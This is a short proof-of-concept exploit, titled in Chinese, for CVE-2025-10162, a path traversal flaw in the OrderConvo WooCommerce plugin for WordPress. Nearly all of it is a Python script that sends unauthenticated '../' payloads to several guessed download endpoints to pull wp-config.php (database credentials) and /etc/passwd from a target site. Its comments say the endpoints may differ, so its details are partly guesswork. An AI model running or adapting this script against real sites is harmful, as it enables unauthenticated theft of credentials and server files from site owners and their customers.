CVE-2025-10162 OrderConvo WordPress插件路径遍历漏洞

# CVE-2025-10162 - OrderConvo WordPress Plugin Path Traversal PoC # Vulnerability: Unauthenticated Arbitrary File Download via Path Traversal # Affected: Admin and Customer Messages After Order for WooCommerce (OrderConvo) < v14 import requests TARGET_URL = "http://target-wordpress-site.com" def exploit_path_traversal(target_url, target_file): """ Exploit path traversal to read arbitrary files from the WordPress server. The OrderConvo plugin fails to sanitize the file path parameter, allowing unauthenticated attackers to traverse directories. """ # Construct path traversal payload traversal_payload = "../../../" + target_file # Typical endpoint for file download in OrderConvo plugin # The exact endpoint may vary; commonly a download action is used endpoints = [ f"/wp-admin/admin-ajax.php?action=orderconvo_download&file={traversal_payload}", f"/wp-content/plugins/orderconvo/download.php?file={traversal_payload}", f"/?orderconvo_download=1&file={traversal_payload}", ] for endpoint in endpoints: url = target_url + endpoint print(f"[*] Trying: {url}") try: response = requests.get(url, timeout=10, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File content retrieved (HTTP {response.status_code}):") print("-" * 60) print(response.text[:2000]) print("-" * 60) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Exploitation failed. Target may not be vulnerable or endpoint differs.") return None if __name__ == "__main__": # Target sensitive files commonly sought by attackers sensitive_files = [ "wp-config.php", # WordPress config (DB credentials) "../../../wp-config.php", "..\\..\\..\\wp-config.php", "/etc/passwd", # Linux system file "../../../../etc/passwd", ] for f in sensitive_files: result = exploit_path_traversal(TARGET_URL, f) if result: break